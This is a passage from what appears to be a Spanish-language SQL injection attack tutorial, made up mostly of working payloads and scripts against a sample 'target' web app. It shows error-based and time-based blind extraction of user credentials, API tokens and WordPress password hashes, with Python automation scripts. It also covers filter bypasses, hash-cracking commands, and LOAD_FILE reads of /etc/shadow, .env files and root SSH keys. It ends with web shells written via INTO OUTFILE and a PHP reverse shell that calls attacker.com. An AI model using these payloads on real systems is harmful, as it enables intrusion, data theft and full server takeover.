-- secret_key=your_secret_key_here
-- db_backup_path=/var/backups/db.sql
-- mail_password=P@ssw0rd123
-- stripe_key=sk_live_abc123def456
-- slack_webhook=https://hooks.slack.com/services/xxx
-- github_token=ghp_abc123def456xyzPASO 11: Extraer DATOS de tabla users (TODOS)
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(id,'|',username,'|',password,'|',email) SEPARATOR '###') FROM users LIMIT 100))) --
ERROR:
XPATH syntax error: '~1|john|f3d9e86d9b1b4c0e|john@target.com###2|maria|8c6976e5b5410415|maria@target.com###3|admin|5f4dcc3b5aa765d6|admin@target.com###...
-- Todos los usuarios en UN request:
-- 1|john|f3d9e86d9b1b4c0e|john@target.com
-- 2|maria|8c6976e5b5410415|maria@target.com
-- 3|admin|5f4dcc3b5aa765d6|admin@target.com
-- ...PASO 12: Encontrar DATOS SENSIBLES automáticamente
-- Buscar todas las columnas con 'password' en el nombre
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE column_name LIKE '%password%' AND table_schema='target_app'))) --
ERROR:
XPATH syntax error: '~password,admin_pass,pass_hash'
-- Columnas sensibles encontradas:
-- password
-- admin_pass
-- pass_hash
-- Buscar todas las columnas con 'api' o 'key' en el nombre
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE column_name LIKE '%key%' OR column_name LIKE '%api%' AND table_schema='target_app'))) --
ERROR:
XPATH syntax error: '~api_key,api_token,secret_key,auth_token,session_key'
-- Columnas sensibles encontradas:
-- api_key
-- api_token
-- secret_key
-- auth_token
-- session_keyPASO 13: Extraer DATOS de columnas sensibles encontradas
-- Extraer todos los api_token
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(username,':',api_token) SEPARATOR '|') FROM users))) --
ERROR:
XPATH syntax error: '~john:eyJhbGciOiJIUzI1NiIs...|maria:eyJhbGciOiJIUzI1NiIs...|admin:eyJhbGciOiJIUzI1NiIs...'
-- Todos los API tokens extraídos en UN requestPASO 14: Método alternativo - LIMIT offset para extraer datos largos
Problema: GROUP_CONCAT tiene límite de ~1024 caracteres en error
Solución: Usar LIMIT para extraer en lotes
-- Extraer filas 1-10
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(id,'|',username,'|',password) SEPARATOR '###') FROM users LIMIT 0, 10))) --
-- Extraer filas 11-20
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(id,'|',username,'|',password) SEPARATOR '###') FROM users LIMIT 10, 10))) --
-- Extraer filas 21-30
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(id,'|',username,'|',password) SEPARATOR '###') FROM users LIMIT 20, 10))) --RESUMEN - ERROR-BASED es MUCHO MÁS RÁPIDO:
| Tipo | Velocidad | Requests para extraer 1000 usuarios |
|---|---|---|
| UNION | Muy rápido | 1-2 (con GROUP_CONCAT) |
| ERROR | Muy rápido | 1-2 (con GROUP_CONCAT) |
| TIME | Lentísimo | 50,000+ (carácter por carácter) |
| BOOLEAN | Lento | 5,000-10,000 (binary search) |
CONCLUSIÓN: Si hay error-based, úsalo siempre
Bypass de Caracteres Bloqueados
Sin Espacios
-- Comentarios
' /**/UNION/**/SELECT/**/1,2,3--
-- Tab (%09)
'%09UNION%09SELECT%091,2,3--
-- Newline (%0a)
'%0aUNION%0aSELECT%0a1,2,3--Sin Comillas
-- Hexadecimal
' UNION SELECT 0x61646d696e, 0x70617373 --
-- 0x61646d696e = "admin"
-- CHAR()
' UNION SELECT CHAR(97,100,109,105,110), CHAR(112,97,115,115) --
-- CHAR(97,100,109,105,110) = "admin"Sin SELECT
-- HANDLER (MySQL)
HANDLER users OPEN;
HANDLER users READ;
-- Functions
' AND version() LIKE '%' --
' AND user() > '' --
' AND database() IS NOT NULL --Identificar Dialecto de BD
| BD | Indicador |
|---|---|
| MySQL | SLEEP(), VERSION(), @@version, information_schema |
| PostgreSQL | pg_sleep(), version() |
| MSSQL | WAITFOR DELAY, @@version |
| Oracle | DBMS_LOCK.SLEEP() |
| SQLite | sqlite_version() |
Caso Práctico: Atacar TIME-BASED BLIND Manualmente
Escenario típico encontrado en aplicaciones web
Una aplicación web tiene un parámetro en URL o POST que se ve así:
http://target.local/admin/page.php?id=1
http://target.local/api/data.php?product_id=123
http://target.local/search?category=booksEl parámetro toma un valor numérico o string. La aplicación lo usa en una query SQL sin validar.
Paso 0: Detección rápida de la vulnerabilidad
Prueba 1 - Cargar página normal:
http://target.local/admin/page.php?id=1Tiempo de respuesta: 0.5 segundos (normal)
Prueba 2 - Inyectar carácter para romper query:
http://target.local/admin/page.php?id=1'Resultado: Error SQL visible en la página, o HTTP 500
Prueba 3 - Inyectar condición verdadera (sin efecto de timing):
http://target.local/admin/page.php?id=1 AND 1=1Tiempo: 0.5 segundos (igual que Prueba 1, página funciona normal)
Prueba 4 - Inyectar SLEEP para confirmar time-based:
http://target.local/admin/page.php?id=1 AND SLEEP(5)Tiempo: 5+ segundos
Si Prueba 4 tarda notablemente más que Prueba 1, es vulnerable a time-based blind.
Paso 1: Confirmar e identificar tipo de BD
Probar MySQL:
http://target.local/admin/page.php?id=1 AND (SELECT SLEEP(5))Si tarda 5 seg = MySQL
Probar PostgreSQL:
http://target.local/admin/page.php?id=1 AND pg_sleep(5)Si tarda 5 seg = PostgreSQL
Probar MSSQL:
http://target.local/admin/page.php?id=1 AND WAITFOR DELAY '00:00:05'Si tarda 5 seg = MSSQL
En el escenario del log, fue MySQL.
Paso 2: Preparar herramienta para automatizar
Crear un script Python que:
- Hace request a URL vulnerable
- Mide tiempo de respuesta
- Determina si respuesta fue "verdadera" (tarda) o "falsa" (rápida)
Script básico:
import requests
import time
import sys
target_url = "http://target.local/admin/page.php"
param_name = "id"
def inject_and_measure(payload):
"""Inyectar payload y medir tiempo"""
params = {param_name: payload}
start = time.time()
try:
response = requests.get(target_url, params=params, timeout=15)
elapsed = time.time() - start
return elapsed
except requests.exceptions.Timeout:
return 15 # Timeout = muy lento
def is_true(payload, threshold=4):
"""Si tarda > threshold segundos, es verdadero"""
elapsed = inject_and_measure(payload)
return elapsed > threshold
# Prueba 1: Confirmar vulnerabilidad
print("[*] Confirmando vulnerabilidad TIME-BASED...")
normal_time = inject_and_measure("1")
sleep_time = inject_and_measure("1 AND SLEEP(5)")
print(f"Tiempo normal: {normal_time:.2f}s")
print(f"Tiempo con SLEEP(5): {sleep_time:.2f}s")
if sleep_time - normal_time > 4:
print("[+] VULNERABLE a TIME-BASED BLIND")
else:
print("[-] No parece vulnerable")
sys.exit(1)Paso 3: Enumerar Base de Datos (letra por letra)
Una vez confirmada la vulnerabilidad, empezar a extraer información.
Extraer primer carácter del nombre de BD:
def extract_db_name():
db_name = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
for position in range(1, 50):
found = False
for char in charset:
# Query: si el carácter en posición X es 'char', dormir 5 segundos
payload = f"1 AND IF(SUBSTRING(database(),{position},1)='{char}', SLEEP(5), 0)"
elapsed = inject_and_measure(payload)
if elapsed > 4: # Tarda = respuesta verdadera
db_name += char
print(f"[+] Posición {position}: '{char}' | BD actual: {db_name}")
found = True
break
if not found:
# No se encontró más caracteres
break
return db_name
db = extract_db_name()
print(f"\n[*] Base de datos: {db}")Qué hace:
- Para cada posición en el nombre de BD (1, 2, 3, ...)
- Prueba cada letra del alfabeto
- Si tarda 5 segundos = esa es la letra correcta
- Continúa hasta extraer el nombre completo
En el log del ejemplo:
- Primer carácter: 'i' (information_schema)
- Segundo: 'n'
- Continuar...
- Resultado: "information_schema" (la primera BD encontrada)
Paso 4: Enumerar Tablas de una BD
Una vez tienes el nombre de BD, enumerar sus tablas:
def extract_tables(database_name):
tables = []
for table_offset in range(50): # Máximo 50 tablas
table_name = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
for position in range(1, 100):
found = False
for char in charset:
# Query: nombre de tabla en posición table_offset
query = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' ORDER BY table_name LIMIT {table_offset},1"
payload = f"1 AND IF(SUBSTRING(({query}),{position},1)='{char}', SLEEP(5), 0)"
elapsed = inject_and_measure(payload)
if elapsed > 4:
table_name += char
print(f"[+] Tabla {table_offset}, Posición {position}: '{char}' | Nombre: {table_name}")
found = True
break
if not found:
break
if table_name:
tables.append(table_name)
else:
break # No hay más tablas
return tables
tables = extract_tables("wordpress")
print(f"\n[*] Tablas encontradas: {tables}")En el log del ejemplo:
- Primera tabla: wp_actionscheduler_actions
- Segunda: wp_actionscheduler_claims
- Tercera: wp_actionscheduler_groups
- etc.
Paso 5: Enumerar Columnas de una Tabla
def extract_columns(database_name, table_name):
columns = []
for column_offset in range(100):
column_name = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
for position in range(1, 100):
found = False
for char in charset:
query = f"SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' ORDER BY ordinal_position LIMIT {column_offset},1"
payload = f"1 AND IF(SUBSTRING(({query}),{position},1)='{char}', SLEEP(5), 0)"
elapsed = inject_and_measure(payload)
if elapsed > 4:
column_name += char
print(f"[+] Columna {column_offset}, Posición {position}: '{char}'")
found = True
break
if not found:
break
if column_name:
columns.append(column_name)
else:
break
return columns
columns = extract_columns("wordpress", "wp_users")
print(f"\n[*] Columnas en wp_users: {columns}")Paso 6: Extraer Datos (Valores de Filas)
Una vez conoces tabla y columnas, extraer los datos:
def extract_data(query_sql, row_offset=0, max_length=200):
"""Extraer contenido de un campo específico"""
data = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_.-@$:/@!()[]{},"
for position in range(1, max_length):
found = False
for char in charset:
escaped_char = char.replace("'", "\\'")
# La query SQL es el SELECT que quieres ejecutar
full_payload = f"1 AND IF(SUBSTRING(({query_sql} LIMIT {row_offset},1),{position},1)='{escaped_char}', SLEEP(5), 0)"
elapsed = inject_and_measure(full_payload)
if elapsed > 4:
data += char
print(f"[+] Posición {position}: '{char}' | Valor: {data}")
found = True
break
if not found:
break
return data
# Extraer usuario de la tabla wp_users
username = extract_data("SELECT user_login FROM wp_users", row_offset=0)
email = extract_data("SELECT user_email FROM wp_users", row_offset=0)
password_hash = extract_data("SELECT user_pass FROM wp_users", row_offset=0)
print(f"\n[*] Datos obtenidos:")
print(f" Usuario: {username}")
print(f" Email: {email}")
print(f" Hash: {password_hash}")Paso 7: Iterar sobre múltiples filas
Para extraer todos los registros, incrementar el offset en LIMIT:
def extract_all_users(database_name, table_name):
"""Extraer todos los usuarios"""
users = []
for row_offset in range(100): # Máximo 100 usuarios
username = extract_data(f"SELECT user_login FROM {database_name}.{table_name}", row_offset=row_offset)
if not username:
break
email = extract_data(f"SELECT user_email FROM {database_name}.{table_name}", row_offset=row_offset)
password_hash = extract_data(f"SELECT user_pass FROM {database_name}.{table_name}", row_offset=row_offset)
users.append({
'username': username,
'email': email,
'password_hash': password_hash
})
print(f"[+] Usuario {row_offset + 1}: {username}")
return users
all_users = extract_all_users("wordpress", "wp_users")
print(f"\n[*] Total usuarios encontrados: {len(all_users)}")Optimizaciones para acelerar extracción
Problema: Extraer letra por letra es MUY lento
Solución 1: Usar LIKE en lugar de SUBSTRING
En lugar de probar cada carácter:
1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)
1 AND IF(SUBSTRING(database(),1,1)='b', SLEEP(5), 0)
... (26 intentos)Usar LIKE:
def extract_data_faster(query_sql, max_length=200):
"""Más rápido usando LIKE"""
data = ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_.-@$"
for position in range(1, max_length):
for char in charset:
test_string = data + char + "%"
# Usar LIKE en lugar de SUBSTRING + igualdad
payload = f"1 AND IF(({query_sql}) LIKE '{test_string}', SLEEP(5), 0)"
elapsed = inject_and_measure(payload)
if elapsed > 4:
data += char
print(f"[+] {data}")
break
else:
break
return dataEsto reduce de 26 intentos a ~3-4 intentos por carácter.
Solución 2: Determinar longitud primero
Antes de extraer, obtener la longitud:
def get_length(query_sql):
"""Obtener longitud del resultado"""
for length in range(1, 200):
payload = f"1 AND IF(LENGTH(({query_sql}))={length}, SLEEP(5), 0)"
if is_true(payload):
print(f"[+] Longitud: {length}")
return length
return None
length = get_length("SELECT user_login FROM wp_users LIMIT 1")
# Ahora sabes que el username tiene exactamente 'length' caracteresSaber la longitud evita intentos innecesarios.
Solución 3: Usar BETWEEN para búsqueda binaria
En lugar de probar a-z secuencialmente:
def find_char_binary_search(query_sql, position):
"""Encontrar carácter usando búsqueda binaria"""
charset = "abcdefghijklmnopqrstuvwxyz0123456789_.-@$"
# Buscar en rangos
if is_true(f"1 AND IF(SUBSTRING(({query_sql}),{position},1) BETWEEN 'a' AND 'm', SLEEP(5), 0)"):
search_range = charset[:13] # a-m
else:
search_range = charset[13:] # n-z y números
# Continuar dividiendo rangos...
# (búsqueda binaria completa)Esto reduce de 26 intentos a ~5 intentos por carácter.
Resumen: Timeline típico
Para un ataque manual de time-based blind a una BD WordPress:
Minuto 0-1: Confirmar vulnerabilidad (SLEEP test)
Minuto 1-5: Extraer nombre de BD (5-10 caracteres × 26 attempts × 5 seg cada uno)
Minuto 5-30: Enumerar tablas (10-15 tablas × 10 caracteres × delays)
Minuto 30-60: Enumerar columnas (8 columnas × 10 caracteres)
Minuto 60+: Extraer datos (500 usuarios × 20 caracteres × delays)Con optimizaciones (LIKE, LENGTH, BETWEEN): Reducir 50-70% el tiempo
Sin optimizaciones, usando SUBSTRING puro: Horas completas
PART B: Exploitation - Enumeración Paso a Paso
Escenario Práctico
Objetivo: http://192.168.1.100/app/search.php?product=testPASO 1: Detección Inicial
URL: http://192.168.1.100/app/search.php?product=test
Respuesta normal:
- Título: "Search Results for: test"
- Lista de 0 productos
Prueba con comilla:
?product=test'
Respuesta:
ERROR 500: "SQL syntax error near line 1"
Consulta expuesta: "SELECT * FROM products WHERE name='test'' AND active=1"
VULNERABLE a SQL InjectionPASO 2: Determinar Tipo de BD
Prueba - MySQL:
?product=test' AND SLEEP(5) --
Resultado: Página tarda 5+ segundos
MYSQL CONFIRMADOPASO 3: Encontrar Número de Columnas
?product=test' ORDER BY 1 -- OK
?product=test' ORDER BY 2 -- OK
?product=test' ORDER BY 3 -- OK
?product=test' ORDER BY 4 -- ERROR
CONCLUSIÓN: 4 columnasPASO 4: Encontrar Columnas Visibles
?product=test' UNION SELECT 1,2,3,4 --
Respuesta en HTML:
- ID: 1
- Nombre: 2
- Precio: 3
- Descripción: 4
TODAS las columnas son visiblesPASO 5-16: Enumeración Completa
(Ver sección anterior de pasos 5-16 para detalle completo)
PART C: EXPLOITATION INTERACTIVO - Las 3 Fases
FASE 1: INTERACTIVE DATABASE ENUMERATION
Database Enumeration es el proceso de explorar interactivamente qué existe en la BD objetivo.
1.1 - Enumerar Bases de Datos Disponibles
Objetivo: Encontrar todas las BDs en el servidor
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;En SQL Injection:
?product=test' UNION SELECT SCHEMA_NAME, 2, 3, 4 FROM INFORMATION_SCHEMA.SCHEMATA --Resultado esperado:
information_schema
mysql
performance_schema
target_app ← ENCONTRADA
wordpressInterpretación:
information_schema,mysql,performance_schema= Sistemas (ignorar)target_app= BD objetivowordpress= Otra BD (sin interés)
Próximo paso: Enumerar tablas en target_app
1.2 - Enumerar Tablas en BD Target
Objetivo: Ver qué tablas existen en BD objetivo
SELECT table_name FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema = 'target_app';En SQL Injection:
?product=test' UNION SELECT table_name, 2, 3, 4 FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema='target_app' --Resultado esperado:
users ← CRÍTICO (contiene credenciales)
products
orders
admin_users ← MÁS CRÍTICO (admin credentials)
settings ← IMPORTANTE (API keys, secrets)
comments
logsInterpretación:
users= Tabla de usuarios normales (buscar password)admin_users= Tabla de administradores (PASSWORD = OBJETIVO PRINCIPAL)settings= Configuración (API keys, claves secretas)logs= Auditoría (puede contener info sensible)
Próximo paso: Enumerar columnas de tablas críticas
1.3 - Enumerar Columnas de Tabla Crítica
Objetivo: Ver qué columnas tiene cada tabla importante
SELECT column_name, data_type FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'admin_users' AND table_schema = 'target_app';En SQL Injection:
?product=test' UNION SELECT column_name, data_type, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name='admin_users' AND table_schema='target_app' --Resultado esperado:
admin_id | int
admin_user | varchar ← USERNAME
admin_pass | varchar ← PASSWORD
admin_email | varchar
created_at | datetime
is_active | tinyint
last_login | datetimeInterpretación:
admin_id= Identificador único (para queries)admin_user= Username (necesario para login)admin_pass= PASSWORD (objetivo crítico)admin_email= Email (puede ser útil)is_active= Si está activo (filtrar admins activos)last_login= Último acceso (info forensic)
Próximo paso: Enumerar columnas de tabla users también
1.4 - Enumerar Múltiples Tablas en Paralelo
Objetivo: Ver estructura de varias tablas importantes
-- Ver columnas de users table
SELECT column_name, data_type FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'users' AND table_schema = 'target_app'
ORDER BY ordinal_position;
-- Ver columnas de settings table
SELECT column_name, data_type FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = 'settings' AND table_schema = 'target_app'
ORDER BY ordinal_position;Resultado esperado - users:
id | bigint
username | varchar
password | varchar
email | varchar
role | varchar
is_admin | tinyint
api_token | varchar ← IMPORTANTE (acceso API)Resultado esperado - settings:
id | int
setting_key | varchar
setting_value | text
description | text
last_modified | datetimeInterpretación:
userstieneapi_token(token para acceso programático)settingstiene pares clave-valor (probables secrets)
Próximo paso: Extraer datos
1.5 - Búsqueda de Columnas Sensibles
Objetivo: Encontrar columnas que contengan datos sensibles
-- Buscar todas las columnas que contengan 'password'
SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_schema = 'target_app' AND column_name LIKE '%password%';
-- Resultado:
users | password
admin_users | admin_pass
users_backup | pass_hash-- Buscar 'key' o 'token' (acceso)
SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_schema = 'target_app' AND
(column_name LIKE '%key%' OR column_name LIKE '%token%' OR column_name LIKE '%secret%');
-- Resultado:
settings | api_key
users | auth_token
users | session_key
api_credentials | secret_key-- Buscar 'email' o 'phone' (datos personales)
SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_schema = 'target_app' AND
(column_name LIKE '%email%' OR column_name LIKE '%phone%' OR column_name LIKE '%ssn%');
-- Resultado:
users | email
admin_users | admin_email
customers | phone
customers | ssn (← Muy sensible)En SQL Injection:
?product=test' UNION SELECT table_name, column_name, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_schema='target_app' AND column_name LIKE '%password%' --1.6 - Contar Registros por Tabla
Objetivo: Saber cuántos registros hay (para elegir qué extraer)
-- Contar usuarios
SELECT 'users' as table_name, COUNT(*) as row_count FROM users;
-- Contar admin_users
SELECT 'admin_users' as table_name, COUNT(*) as row_count FROM admin_users;
-- Contar todas las tablas
SELECT table_name, COUNT(*) as row_count
FROM information_schema.tables t
JOIN (SELECT * FROM users UNION ALL
SELECT * FROM admin_users UNION ALL
SELECT * FROM products) d
GROUP BY table_name;En SQL Injection (simple):
?product=test' UNION SELECT 'users', COUNT(*), 3, 4 FROM users --
?product=test' UNION SELECT 'admin_users', COUNT(*), 3, 4 FROM admin_users --Resultado esperado:
users | 342 (muchos registros, probablemente no todos valgan)
admin_users | 5 (pocos admins, extraer TODOS)
settings | 15 (pocos, extraer TODOS)1.7 - Extraer Datos - Tabla Users
Objetivo: Obtener credenciales de usuarios normales
SELECT id, username, password, email FROM users LIMIT 10;En SQL Injection:
?product=test' UNION SELECT id, username, password, email FROM users --Resultado esperado:
id | username | password (hash) | email
1 | john | f3d9e86d9b1b4c0e | john@target.com
2 | maria | 8c6976e5b5410415 | maria@target.com
3 | admin | 5f4dcc3b5aa765d6 | admin@target.com
...Acción: Crackear hashes MD5 con:
hashcat -m 0 hashes.txt wordlist.txt
john --wordlist=wordlist.txt hashes.txt1.8 - Extraer Datos - Tabla Admin_Users (CRÍTICO)
Objetivo: Obtener credenciales de administradores (más valiosas)
SELECT admin_id, admin_user, admin_pass, admin_email FROM admin_users;En SQL Injection:
?product=test' UNION SELECT admin_id, admin_user, admin_pass, admin_email FROM admin_users --Resultado esperado:
admin_id | admin_user | admin_pass (hash) | admin_email
1 | superadmin | $2y$10$KSvJjNX6CqYvx... | superadmin@target.com
2 | admin | $2y$10$9hU8F0pD2Mc... | admin@target.com
3 | moderator | $2y$10$5nL3M9Pz8Qx... | moderator@target.comInterpretación:
$2y$10$...= Bcrypt hash (más seguro que MD5, pero pueden crackear)superadmin= Usuario con máximos privilegiosadmin= Usuario administrador regularmoderator= Usuario con permisos moderados
Acción: Intentar crackear hashes bcrypt o intentar acceso directo al panel admin
1.9 - Extraer Datos - Tabla Settings (SECRETOS)
Objetivo: Obtener configuración sensible (API keys, secrets)
SELECT setting_key, setting_value FROM settings;En SQL Injection:
?product=test' UNION SELECT setting_key, setting_value, 3, 4 FROM settings --Resultado esperado:
setting_key | setting_value
api_key | sk-abc123def456ghi789 ← API key (valiosa)
secret_key | your_secret_key_12345
db_backup_path | /var/backups/db.sql
mail_password | P@ssw0rd123 ← Contraseña email
stripe_key | sk_live_abc123def456 ← Credencial de pago
slack_webhook | https://hooks.slack.com/services/xxx
github_token | ghp_abc123def456xyzImpacto:
api_key= Acceso programático a la aplicaciónsecret_key= Puede decodificar sesionesdb_backup_path= Ubicación de backups (para más adelante)mail_password= Acceso a email de la appstripe_key= Acceso a sistema de pagosslack_webhook= Puede enviar mensajes a Slackgithub_token= Acceso a repositorio código fuente
1.10 - Verificar Privilegios del Usuario Actual
Objetivo: Saber qué permisos tiene el usuario de BD
-- Ver usuario actual
SELECT USER();
-- Resultado: webapp@localhost
-- Ver qué puede hacer
SHOW GRANTS FOR webapp@localhost;
-- Resultado: GRANT SELECT, INSERT, UPDATE ON target_app.* TO 'webapp'@'localhost'Interpretación:
Si resultado es: SELECT, INSERT, UPDATE
→ Puede leer, agregar, modificar
→ NO puede DELETE, DROP, ALTER
→ NO puede cambiar schema
Si resultado es: ALL PRIVILEGES
→ Puede hacer CUALQUIER COSA
→ Puede escribir archivos
→ Puede crear usuarios
→ MÁXIMO PELIGROFASE 2: INTERACTIVE READING FILES
Leer archivos del servidor es crítico para:
- Obtener credenciales de archivos de configuración
- Leer código fuente
- Acceder a claves SSH privadas
- Leer archivos de configuración web
- Obtener información del sistema
2.1 - Función LOAD_FILE()
Cómo funciona:
SELECT LOAD_FILE('/etc/passwd');Requisitos:
- Privilegio
FILEen el usuario de BD - Archivo debe ser legible por usuario MySQL
secure_file_privdebe permitir lectura
Verificar si es posible:
-- Ver si tiene FILE privilege
SHOW GRANTS FOR current_user();
-- Buscar: FILE
-- Ver ruta segura
SELECT @@secure_file_priv;
-- Resultado puede ser:
-- NULL = No permitido LOAD_FILE
-- /tmp = Solo desde /tmp
-- (vacío) = Permitido desde cualquier lado2.2 - Leer Archivos de Sistema
Archivo: /etc/passwd
SELECT LOAD_FILE('/etc/passwd');Contenido típico:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/sys:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:107:109:MySQL Server,,,:/var/run/mysqld:/usr/sbin/nologinInformación obtenida:
www-data= Usuario de aplicación webmysql= Usuario de base de datos- Usuarios del sistema
- Shells disponibles
Archivo: /etc/shadow
SELECT LOAD_FILE('/etc/shadow');NOTA: Normalmente no accesible (permisos 640), pero si MySQL corre como root, posible.
Archivo: /etc/hosts
SELECT LOAD_FILE('/etc/hosts');Contenido típico:
127.0.0.1 localhost
::1 localhost
192.168.1.100 target.local
192.168.1.101 admin.target.local
10.0.0.50 internal-dbInformación obtenida:
- Direcciones IP de otros servidores
- Nombres de hosts
- Posibles otros objetivos para atacar
2.3 - Leer Archivos de Configuración Web
Archivo: /var/www/html/config.php
SELECT LOAD_FILE('/var/www/html/config.php');Contenido típico:
<?php
$db_host = '192.168.1.50';
$db_user = 'app_user';
$db_pass = 'SuperSecretP@ssw0rd123';
$db_name = 'target_app';
$api_key = 'sk-abc123def456ghi789';
$stripe_secret = 'sk_live_xyz123abc456';
$jwt_secret = 'your_jwt_secret_key_here';
?>Información obtenida:
- Credenciales de BD (otro usuario posible)
- API keys
- Claves de terceros (Stripe, etc)
- Secretos JWT
- Hosts de conexión
Archivo: /var/www/html/.env
SELECT LOAD_FILE('/var/www/html/.env');Contenido típico:
APP_ENV=production
APP_KEY=base64:abc123def456xyz...
DB_HOST=192.168.1.50
DB_USER=webapp
DB_PASS=P@ssw0rd123
DB_NAME=target_app
API_KEY=sk-abc123def456ghi789
STRIPE_KEY=sk_live_abc123def456
SLACK_WEBHOOK=https://hooks.slack.com/services/xxx
GITHUB_TOKEN=ghp_abc123def456xyz
MAIL_PASSWORD=EmailP@ss123
JWT_SECRET=your_jwt_secret_key
ADMIN_EMAIL=admin@target.com
ADMIN_PASS=AdminP@ss123Archivo: /var/www/html/wp-config.php (WordPress)
SELECT LOAD_FILE('/var/www/html/wp-config.php');Contiene:
- BD credentials
- WordPress security keys
- API keys integrados
2.4 - Leer Claves SSH Privadas
Archivo: /root/.ssh/id_rsa
SELECT LOAD_FILE('/root/.ssh/id_rsa');Contenido:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA2x5Z9pK8qL...
(mucho más contenido encriptado)
-----END RSA PRIVATE KEY-----Impacto:
- Acceso SSH al servidor como root
- Acceso local directo sin contraseña
- Control total del servidor
Archivo: /home/www-data/.ssh/id_rsa
SELECT LOAD_FILE('/home/www-data/.ssh/id_rsa');Impacto:
- Acceso SSH como www-data
- Posible movimiento lateral a otros servidores
- Acceso a repositorios git privados
2.5 - Leer Código Fuente de la Aplicación
Archivo: /var/www/html/index.php
SELECT LOAD_FILE('/var/www/html/index.php');Qué obtienes:
- Lógica de la aplicación
- Llamadas a otras funciones
- Posibles rutas a otros files importantes
- Validaciones de seguridad (saber cómo bypassearlas)
Archivo: /var/www/html/admin/login.php
SELECT LOAD_FILE('/var/www/html/admin/login.php');Qué obtiene:
- Cómo funciona autenticación
- Qué BD se consulta
- Posible SQL injection en el login
- Cómo se validan credenciales
Archivo: /var/www/html/api/auth.php
SELECT LOAD_FILE('/var/www/html/api/auth.php');Archivo: /var/www/html/config/database.php
SELECT LOAD_FILE('/var/www/html/config/database.php');2.6 - En SQL Injection - Ejemplo
URL: ?product=test' UNION SELECT LOAD_FILE('/etc/passwd'), 2, 3, 4 --
Resultado en HTML:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon...
www-data:x:33:33...
mysql:x:107:109...FASE 3: INTERACTIVE WRITING FILES
Escribir archivos es el siguiente paso después de lectura. Permite:
- Crear shells web
- Modificar configuración
- Inyectar código malicioso
- Crear backdoors
- RCE (Remote Code Execution)
3.1 - Función INTO OUTFILE
Cómo funciona:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';Requisitos:
- Privilegio
FILEen usuario BD - Ruta debe existir y ser escribible por MySQL
secure_file_privdebe permitir escritura- Archivo no debe existir ya (INTO OUTFILE falla si existe)
Verificar si es posible:
-- Ver si tiene FILE privilege
SHOW GRANTS FOR current_user();
-- Ver ruta permitida
SELECT @@secure_file_priv;
-- NULL = Deshabilit ado
-- /tmp = Solo en /tmp
-- (vacío) = Permitido en cualquier lado3.2 - Crear Shell Web PHP Básico
Payload simple:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';Uso:
http://target.com/shell.php?cmd=whoami
Resultado: www-dataPayload mejorado (con errores ocultos):
SELECT '<?php @system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';Payload con output capturado:
SELECT '<?php echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; ?>' INTO OUTFILE '/var/www/html/shell.php';Payload con POST y GET:
SELECT '<?php
$cmd = $_REQUEST["cmd"];
if($cmd) {
echo "<pre>" . shell_exec($cmd) . "</pre>";
}
?>' INTO OUTFILE '/var/www/html/shell.php';3.3 - Crear Shell Web ASP.NET
Para servidores Windows/MSSQL:
SELECT '<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request["cmd"];
if(cmd != null) {
Process p = Process.Start("cmd.exe", "/c " + cmd);
StreamReader sr = p.StandardOutput;
Response.Write(sr.ReadToEnd());
}
%>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.aspx';3.4 - Crear Shell Web JSP
SELECT '<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>' INTO OUTFILE '/var/www/html/shell.jsp';3.5 - Crear Reverse Shell
Shell que se conecta a atacante:
SELECT '<?php
$sock = fsockopen("attacker.com", 4444);
$proc = proc_open("/bin/sh", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>' INTO OUTFILE '/var/www/html/shell.php';Desde atacante:
nc -lvp 4444
# Esperar conexión shell
# O con socat
